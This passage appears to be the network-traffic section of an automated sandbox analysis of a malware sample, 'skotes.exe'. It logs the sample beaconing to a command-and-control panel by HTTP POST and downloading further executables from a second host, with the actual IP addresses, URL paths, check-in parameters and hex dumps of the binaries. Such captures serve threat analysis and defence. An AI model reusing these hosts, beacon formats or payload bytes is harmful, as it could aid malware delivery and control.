Dec 18, 2024 11:09:18.448589087 CET	1236	IN	Data Raw: 00 02 00 00 31 c9 88 8c 0c 00 01 00 00 89 c8 99 f7 fe 8a 04 17 88 04 0c 41 81 f9 00 01 00 00 75 e5 31 c0 31 c9 8a 94 04 00 01 00 00 00 d1 02 0c 04 0f b6 f1 8a b4 34 00 01 00 00 88 b4 04 00 01 00 00 88 94 34 00 01 00 00 40 3d 00 01 00 00 75 d4 83 Data Ascii: 1Au1144@=u$1111QQQ(9BCIuhMBheB~P:C$09G9$
Dec 18, 2024 11:09:18.448647022 CET	1236	IN	Data Raw: c4 0c 01 e7 83 c7 10 eb 4b 89 f9 83 c9 0f 83 f9 17 be 16 00 00 00 0f 43 f1 8d 46 01 81 f9 ff 0f 00 00 72 08 50 e8 0f 01 00 00 eb 06 50 e8 ef 11 00 00 83 c4 04 89 c3 89 44 24 10 89 7c 24 20 89 74 24 24 57 55 50 e8 c4 5f 00 00 83 c4 0c 01 df 8d 5c Data Ascii: KCFrPPD$\|$ t$$WUP_\$h5SmD$$r1L$prQ) $VQTWuED$D$E$(L$I!UW49BD$$4$t$
Dec 18, 2024 11:09:18.448659897 CET	1236	IN	Data Raw: 51 e8 8c 44 00 00 83 c4 08 c7 06 88 c3 41 00 f2 0f 10 47 0c f2 0f 11 46 0c 89 f0 5e 5f c2 04 00 cc 56 89 ce 8b 44 24 08 c7 01 28 c1 41 00 83 c1 04 31 d2 89 56 08 89 56 04 83 c0 04 51 50 e8 4f 44 00 00 83 c4 08 c7 06 a8 c3 41 00 89 f0 5e c2 04 00 Data Ascii: QDAGF^_VD$(A1VVQPODA^xdBdBd,;`VBhxdBP=xdBuh@hxdB\|V\|$tV^BUSWVPt$D$uJWFFj \
Dec 18, 2024 11:09:18.448872089 CET	1236	IN	Data Raw: e0 89 44 24 18 8b 1f 8d 74 24 3c 83 7e 10 00 74 0e 89 f1 6a 02 68 51 03 42 00 e8 92 00 00 00 8b 4f 08 8b 01 89 e5 ff 77 04 55 ff 50 08 8b 45 10 83 7d 14 10 72 03 8b 2c 24 89 f1 50 55 e8 6f 00 00 00 8b 44 24 14 83 f8 10 72 2c 8b 0c 24 8d 68 01 81 Data Ascii: D$t$<~tjhQBOwUPE}r,$PUoD$r,$hrQ) sF$UQ:WCWFC7L$1K^_[]USWVL$ ]U)959;$x
Dec 18, 2024 11:09:18.448884010 CET	1236	IN	Data Raw: 50 e8 62 23 00 00 83 c4 04 89 33 89 f9 e8 93 00 00 00 8b 4c 24 34 31 e1 e8 fc 03 00 00 b8 02 00 00 00 83 c4 38 5e 5f 5b c3 83 ec 0c 89 e0 c7 40 08 00 00 00 00 c7 40 04 b4 02 42 00 c7 00 c8 c5 41 00 68 38 42 42 00 50 e8 c0 34 00 00 53 57 56 89 ce Data Ascii: Pb#3L$418^_[@@BAh8BBP4SWV\|$1S^^^^^f^^f^ ^$^(^,^0tWV^_[h=BVQF,tPF,F$tPF$FtPF
Dec 18, 2024 11:09:18.448895931 CET	1236	IN	Data Raw: 00 ff 15 4c 3a 42 00 c3 55 8b ec ff 75 08 e8 0a 00 00 00 f7 d8 59 1b c0 f7 d8 48 5d c3 55 8b ec 83 3d a0 64 42 00 ff ff 75 08 75 07 e8 13 80 00 00 eb 0b 68 a0 64 42 00 e8 96 7f 00 00 59 59 33 c9 85 c0 0f 44 4d 08 8b c1 5d c3 6a 08 68 48 42 42 00 Data Ascii: L:BUuYH]U=dBuuhdBYY3DM]jhHBB&eMZf9@u]<@@PEuLf9@u>E@+PQ}YYt'x$\|!EE38eE2MdY_^[VS$t ddB
Dec 18, 2024 11:09:18.448914051 CET	1236	IN	Data Raw: 15 10 37 42 00 8b 4d fc ff d6 85 ff 75 c3 5e ff 33 e8 b7 95 00 00 59 8d 4d f8 e8 96 fd ff ff 5f 5b c9 c3 55 8b ec 51 8a 45 08 33 d2 56 8b f1 68 88 0e 42 00 89 75 fc 8d 4e 18 c7 46 04 01 00 00 00 c7 06 28 c6 41 00 89 56 08 89 56 0c 89 56 10 88 46 Data Ascii: 7BMu^3YM_[UQE3VhBuNF(AVVVFQ^UVEtj VYY^]Wyt+Vp7Btj17B^_jA"3MV=eBuuBVWaYYhB
Dec 18, 2024 11:09:18.568406105 CET	1236	IN	Data Raw: 01 e8 b0 12 00 00 5f 5b c9 c2 04 00 55 8b ec 8b 4d 08 83 c9 0f 56 3b 4d 10 77 1c 8b 75 0c 8b d6 8b 45 10 d1 ea 2b c2 3b f0 77 0c 8d 04 32 3b c8 0f 42 c8 8b c1 eb 03 8b 45 10 5e 5d c3 56 8b f1 83 7e 14 0f 76 13 e8 93 fe ff ff 8b 46 14 40 50 ff 36 Data Ascii: _[UMV;MwuE+;w2;BE^]V~vF@P6YYfF^ItAuASBVWp7B_^3@3lAAAAAAAA A$A(A,A0jA3FSS^0^^F

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.6	49907	185.215.113.43	80	1088	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 11:09:22.312747002 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 38 36 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016869001&unit=246122658369
Dec 18, 2024 11:09:23.641473055 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 10:09:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49912	31.41.244.11	80	1088	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 11:09:23.764837980 CET	62	OUT	GET /files/burpin1/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 18, 2024 11:09:25.083770037 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 10:09:24 GMT Content-Type: application/octet-stream Content-Length: 4438776 Last-Modified: Tue, 10 Dec 2024 00:01:52 GMT Connection: keep-alive ETag: "675784f0-43baf8" Accept-Ranges: bytes Data Raw: 4d 5a 60 00 01 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 52 65 71 75 69 72 65 20 57 69 6e 64 6f 77 73 0d 0a 24 50 45 00 00 4c 01 04 00 ce 3f c3 4f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 08 00 00 90 01 00 00 96 00 00 00 00 00 00 5f 94 01 00 00 10 00 00 00 a0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 02 00 00 02 00 00 e7 a4 44 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 84 c9 01 00 c8 00 00 00 00 30 02 00 10 4f 00 00 00 00 00 00 00 00 00 00 10 7b 43 00 e8 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 01 00 6c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ`@`!L!Require Windows$PEL?O_@D0O{C?l.text `.rdata;<@@.dataM@.rsrcO0P@@U`AS3;VWtf9bAt`APPPYnj'@uv=A6PP9^]v8^3hAPPPxAEE;FrP~Y6jtAt$DV%sAF8^jqA39`At@9D$tt$Ph5XAA3D$`\|$u@3pAt$D$t$`A/@t$PQ%`A3T$L$fAABBfuL$3f9t@f<Aut$TAL$%S\$VC;^tLW3
Dec 18, 2024 11:09:25.083823919 CET	224	IN	Data Raw: c9 6a 02 5a 8b c3 f7 e2 0f 90 c1 f7 d9 0b c8 51 e8 94 80 01 00 8b f8 33 c0 39 46 08 59 7e 1d 39 46 04 7e 10 8b 0e 66 8b 0c 41 66 89 0c 47 40 3b 46 04 7c f0 ff 36 e8 68 80 01 00 59 8b 46 04 89 3e 66 83 24 47 00 89 5e 08 5f 5e 5b c2 04 00 56 8b f1 Data Ascii: jZQ39FY~9F~fAfG@;F\|6hYF>f$G^_^[Vv\IY^oUQQAuVjjEP5A\|At>E;Ew6rE;Es,jPYYtlAj@ AEPjh5XAA3
Dec 18, 2024 11:09:25.083833933 CET	1236	IN	Data Raw: c9 c2 0c 00 8b 44 24 08 85 c0 74 0c a3 6c e9 41 00 b8 05 40 00 80 eb 3a 56 8b 74 24 08 57 8d 7e 24 83 3f 00 74 0f 8b 4e 20 8d 46 34 50 83 c1 08 e8 c0 11 01 00 8b cf e8 da 29 01 00 83 7e 1c 00 74 0c ff 76 40 ff 76 28 ff 15 80 a1 41 00 5f 33 c0 5e Data Ascii: D$tlA@:Vt$W~$?tN F4P)~tv@v(A_3^UVuA}juuv(j}iuv(jjuVP^]=AtjA=XAtL$AVQ3=lAQjjPR=Atj5XAA^L$
Dec 18, 2024 11:09:25.083852053 CET	1236	IN	Data Raw: 8b 76 0c 85 f6 59 74 06 8b 06 56 ff 50 08 5e c3 83 6c 24 04 04 e9 76 ff ff ff 56 6a 01 8b f1 e8 d3 fc ff ff 8b 46 04 8b 0e 66 8b 54 24 08 66 89 14 41 ff 46 04 8b 46 04 8b 0e 66 83 24 41 00 8b c6 5e c2 04 00 55 8b ec ff 75 0c 8b 4d 08 e8 03 fc ff Data Ascii: vYtVP^l$vVjFfT$fAFFf$A^UuMuME]Vt$NFuhVrzY3^Uh$AuYYtEMPQ3hAu{YYu@]L$IAujP3VNXAD
Dec 18, 2024 11:09:25.083863974 CET	1236	IN	Data Raw: 8d 55 d4 0f 95 c0 52 6a 0c ff 75 0c 89 46 3c 8b 46 0c 8b 08 50 ff 51 18 3b c7 89 45 0c 74 19 8d 4d d4 e8 fe 08 01 00 ff 75 f0 e8 ec 75 01 00 8b 7d 0c 59 e9 cf fe ff ff 0f b7 45 d4 3b c7 74 1a 83 f8 40 74 07 6a 66 e9 71 ff ff ff 8b 45 dc 89 46 34 Data Ascii: URjuF<FPQ;EtMuu}YE;t@tjfqEF4EF8EPAF4PEPA9~<t3Y>jh/N4QPYY%jlu;YtxXAH3PMF (F jQHxx,
Dec 18, 2024 11:09:25.083986998 CET	672	IN	Data Raw: 64 a1 41 00 eb 7a 83 3d 90 e9 41 00 00 75 6f 8b 35 68 a1 41 00 68 d0 a5 41 00 bb c4 a5 41 00 53 c7 05 90 e9 41 00 01 00 00 00 ff d6 8b 3d 6c a1 41 00 50 ff d7 6a 00 89 45 fc 0f b7 05 80 e9 41 00 68 09 04 00 00 6a 00 50 8d 45 bc 68 a8 a5 41 00 50 Data Ascii: dAz=Auo5hAhAASA=lAPjEAhjPEhAPA}uhASPEtjEPjU3_^[U,SVW3WAjXPE0A}j`X5TAj`jdPv\|=j[j=j[j_EPju@AWSuW
Dec 18, 2024 11:09:25.083998919 CET	1236	IN	Data Raw: 50 ff 51 0c 39 75 fc 74 3f ff 75 fc e8 d4 fd ff ff 59 8d 4d d8 51 6a 18 50 89 45 fc ff 15 40 a0 41 00 6a 06 ff 75 e0 ff 75 dc 56 56 56 ff 75 08 ff 15 84 a2 41 00 ff 75 fc 56 68 72 01 00 00 ff 75 08 ff 15 b8 a2 41 00 8b 45 f0 8b 08 50 ff 51 08 33 Data Ascii: PQ9ut?uYMQjPE@AjuuVVVuAuVhruAEPQ3@WPA3_^[f=AuD<AfAAfft@Af=uDAA;ufAAUSV339AtAM9tFA9u9
Dec 18, 2024 11:09:25.084153891 CET	1236	IN	Data Raw: 5b c2 04 00 8b 01 8b 51 04 8b 4c 24 08 2b d1 8d 54 12 02 8d 0c 48 52 51 8b 4c 24 0c 8d 04 48 50 ff 15 3c a2 41 00 83 c4 0c c2 08 00 53 56 57 eb 3b 8b 02 8b 39 8a 1c 07 8a c3 e8 db f5 ff ff 84 c0 75 27 80 fb 3b 75 2d 3b fe 7d 12 8b 01 8b 32 80 3c Data Ascii: [QL$+THRQL$HP<ASVW;9u';u-;}2<0t@;B\|2_^[Ar91\|S\$VWu33\|$Gt$P$AtF;w\|3_^[t3GVt$W39~~(Ft$P$AujWPOG;~
Dec 18, 2024 11:09:25.084165096 CET	1236	IN	Data Raw: 37 00 89 75 f4 e8 ec fd ff ff 57 e8 ef 64 01 00 59 5f 8b 45 08 5e 5b c9 c2 0c 00 53 56 8b 74 24 0c 57 8b f9 8b 47 04 39 06 7e 02 89 06 8b 5c 24 14 53 e8 d0 e6 ff ff 8b 06 50 03 c3 50 8b cf e8 ec fa ff ff 5f 5e 5b c2 08 00 8b 44 24 08 ff 30 8b 44 Data Ascii: 7uWdY_E^[SVt$WG9~\$SPP_^[D$0D$0YY@W\|$D$xt.SVpFPVPVSjt$,8Af$A^G[_USVuE39Xt2WxS?ESAPQNPWuSuA
Dec 18, 2024 11:09:25.084176064 CET	672	IN	Data Raw: 4d f4 e8 72 f8 ff ff f6 85 a4 fd ff ff 10 8b 7d f4 74 35 68 88 a6 41 00 8d 85 d0 fd ff ff 50 ff 15 24 a1 41 00 85 c0 74 33 68 80 a6 41 00 8d 85 d0 fd ff ff 50 ff 15 24 a1 41 00 85 c0 74 1d 57 e8 58 ff ff ff 59 eb 10 6a 00 57 ff d6 85 c0 74 4b 57 Data Ascii: Mr}t5hAP$At3hAP$AtWXYjWtKWAt@PSAqSAjutuAtW_3@W_3Y_^[=lAt3@Vt$VAu3@^ujVAtVA^3^VY^
Dec 18, 2024 11:09:25.203737020 CET	1236	IN	Data Raw: ff 75 d0 ff 75 cc 68 04 08 00 50 68 84 a5 41 00 68 94 a6 41 00 53 ff 15 a0 a2 41 00 8b f8 3b fb 0f 84 7b ff ff ff 56 ff 15 b4 a2 41 00 8b 35 b8 a2 41 00 53 6a 22 68 59 04 00 00 57 ff d6 6a 0f ff 15 cc a2 41 00 50 53 68 43 04 00 00 57 ff d6 b8 e9 Data Ascii: uuhPhAhASA;{VA5ASj"hYWjAPShCWPEEPEP]uEPhaWu]u]YYUQSVW=(AjEPuuTCPECSuPu>Wf$GYF_^[Vj

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49940	185.215.113.43	80	1088	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 11:09:34.521713972 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 38 37 30 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016870001&unit=246122658369
Dec 18, 2024 11:09:37.782728910 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 10:09:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49953	185.215.113.43	80	1088	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 11:09:39.530009985 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 18, 2024 11:09:40.867819071 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 10:09:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49961	185.215.113.43	80	1088	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 11:09:42.496467113 CET	314	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 41 42 33 32 41 37 34 42 36 35 44 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7AB32A74B65D82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Dec 18, 2024 11:09:43.841182947 CET	299	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 10:09:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 64 0d 0a 20 3c 63 3e 31 30 31 36 38 37 31 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 66 30 62 35 64 61 66 63 38 35 30 36 32 33 38 34 37 36 30 61 63 30 32 62 34 64 65 64 38 61 62 65 65 65 31 66 62 64 65 37 31 39 62 35 30 35 39 62 62 30 30 61 62 35 65 34 35 34 32 35 31 39 37 64 31 61 61 31 64 61 61 61 38 23 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6d <c>1016871001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbde719b5059bb00ab5e45425197d1aa1daaa8#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49966	31.41.244.11	80	1088	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 11:09:43.965034962 CET	62	OUT	GET /files/unique3/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 18, 2024 11:09:45.288681984 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 10:09:45 GMT Content-Type: application/octet-stream Content-Length: 1986048 Last-Modified: Wed, 18 Dec 2024 08:56:38 GMT Connection: keep-alive ETag: "67628e46-1e4e00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cd d8 9a 7a 89 b9 f4 29 89 b9 f4 29 89 b9 f4 29 c2 c1 f7 28 82 b9 f4 29 c2 c1 f1 28 06 b9 f4 29 c2 c1 f0 28 9d b9 f4 29 9c c6 f1 28 af b9 f4 29 9c c6 f0 28 98 b9 f4 29 9c c6 f7 28 9d b9 f4 29 c2 c1 f5 28 8a b9 f4 29 89 b9 f5 29 da b9 f4 29 89 b9 f4 29 8b b9 f4 29 b3 39 f0 28 8a b9 f4 29 b3 39 0b 29 88 b9 f4 29 b3 39 f6 28 88 b9 f4 29 52 69 63 68 89 b9 f4 29 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 5f 7b 5f 64 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 25 00 7c 03 00 00 5e 03 00 00 00 01 00 00 b0 4b 00 00 10 00 00 00 90 03 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$z)))()()()()()()()))))9()9))9()Rich)PEL_{_d%\|^K@Kx@Vjl <@.rsrclL@.idata T@ )V@hrqcmbfk1X@baxohzutK(@.taggant0K",@
Dec 18, 2024 11:09:45.288820028 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 11:09:45.288899899 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 11:09:45.288937092 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 11:09:45.288971901 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 18, 2024 11:09:45.289026976 CET	672	IN	Data Raw: a2 a5 44 db aa 06 47 44 27 ee f4 e1 82 3c 96 2c 18 00 47 15 14 5f c2 e4 ac a9 d5 e1 98 40 10 45 4d b2 a6 b4 54 35 c5 e6 f2 26 18 41 36 c5 f5 7c dc 3e 0e f2 07 df 8a 44 78 55 71 82 22 4c f5 69 0f 8a c8 da 67 99 f7 10 6b 5d 76 7b 87 12 09 fa 65 ed Data Ascii: DGD'<,G_@EMT5&A6\|>DxUq"Ligk]v{e996GFTd_BFuz`5h_x@Ft{+2@[p@[68W?0U'S>}bzH_i1Mw_Li!j-
Dec 18, 2024 11:09:45.289061069 CET	1236	IN	Data Raw: d6 0e 47 5a 20 66 17 ac e6 3d 11 7c 26 ef 08 53 84 7d ce 88 35 c7 e9 a5 57 42 01 eb 34 b7 f6 f4 f5 63 77 a5 f9 3c 0f 9d 0e 04 9d 9a db 13 7b 60 74 6f 1f df b6 0c 55 78 3d b8 f2 ec ab 16 a7 2a df fc 6e 9e 22 3a ae a4 a1 96 a6 7e b3 58 2e e4 fe 79 Data Ascii: GZ f=\|&S}5WB4cw<{`toUx=n":~X.yRMz`1at:wrLiwpq;~JL\|ZJBb?v.c%/L*K`$O~\/E8}Sf@4 G9Qdpw~
Dec 18, 2024 11:09:45.289096117 CET	1236	IN	Data Raw: 28 fb f6 44 b9 63 13 f4 fb 2e 71 60 26 e4 84 10 d8 7e 96 cf 07 a3 e6 c9 77 28 31 0a 6b 4c 39 69 9f 81 0e da 5e c5 f7 0a 0f c0 17 dc 66 3e 88 7e 53 3a 6e 52 37 df e9 f5 26 42 6b 1c b5 82 f6 b9 27 63 f0 3a 11 d2 be 76 2e 04 ac a6 c2 95 7a 60 8d d1 Data Ascii: (Dc.q`&~w(1kL9i^f>~S:nR7&Bk'c:v.z``mQ<lF(lmez`gWLt`+!]oj?9wa7@B)tgclrtB [Un\{<p>/@d+Ap<-'~]ZiE08
Dec 18, 2024 11:09:45.289128065 CET	448	IN	Data Raw: e6 bb 76 7b bf 04 09 51 3e 79 4c 88 6c db e9 b8 06 3f 90 43 3c 0c 47 10 95 5d 94 e4 fe 7d 86 72 e1 ff a4 3a 31 bf f6 a9 1d ef ee 36 30 c0 e9 d2 39 42 6b db 67 e2 f6 78 3c 63 64 9c f4 e2 81 ae 0c 74 49 57 d6 c7 ab 5d 6d 00 9e 8b de d3 4f 1a d3 4c Data Ascii: v{Q>yLl?C<G]}r:1609Bkgx<cdtIW]mOLi@bwf" {w46jh#<\|N@Fah=).{`\|/zZ;7Y1G\#`R{wWQT^Goj5pU7wl,ywLiPbBdLiQd
Dec 18, 2024 11:09:45.289189100 CET	1236	IN	Data Raw: 0e ce de 71 34 a1 8f a6 32 3c db 64 b8 01 47 40 8a cc 18 e5 fe 48 63 f7 93 04 6e 2f e6 f5 7a 60 e2 49 21 96 b6 f8 f8 30 8f b8 fe e4 8b 08 e9 18 b2 a9 15 15 83 3c a8 26 69 17 47 46 56 b5 72 e4 fe 00 99 d5 78 04 fb 8a 45 cf 7a 60 42 46 b8 72 b6 6c Data Ascii: q42<dG@Hcn/z`I!0<&iGFVrxEz`BFrlJ<xk6P<+F\|$Jpr<z`=nb~,;<*BAFcfw8L;i\/N::@XpU+>#D8CM!7,1;6w?DCLiBr}8k
Dec 18, 2024 11:09:45.409763098 CET	1236	IN	Data Raw: d7 e7 7a 60 56 11 da 3f b7 40 0f a5 47 b8 fe e1 72 87 39 1f 19 f1 e4 c8 74 be 79 41 39 18 03 f6 8e e1 b7 b8 8c e6 a7 9e 61 ac 17 25 3b 0a 88 bd fa 97 69 70 7e 55 cd a7 5f c5 b2 e9 98 d9 0e 73 07 ad ce f0 77 4e 80 fe fa 4c ec 69 68 0d 33 d9 62 8d Data Ascii: z`V?@Gr9tyA9a%;ip~U_swNLih3bpy5p{UwStGw-#ZLi8ZY}@\/o8r{~\28$"5:@fS:30~\VkW9,wH8Ph

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	49985	185.215.113.43	80	1088	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 11:09:51.248774052 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 38 37 31 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016871001&unit=246122658369
Dec 18, 2024 11:09:52.583348989 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 10:09:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.6	49994	185.215.113.43	80	1088	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 11:09:54.324601889 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Dec 18, 2024 11:09:55.668965101 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 18 Dec 2024 10:09:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.6	50003	185.215.113.43	80	1088	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
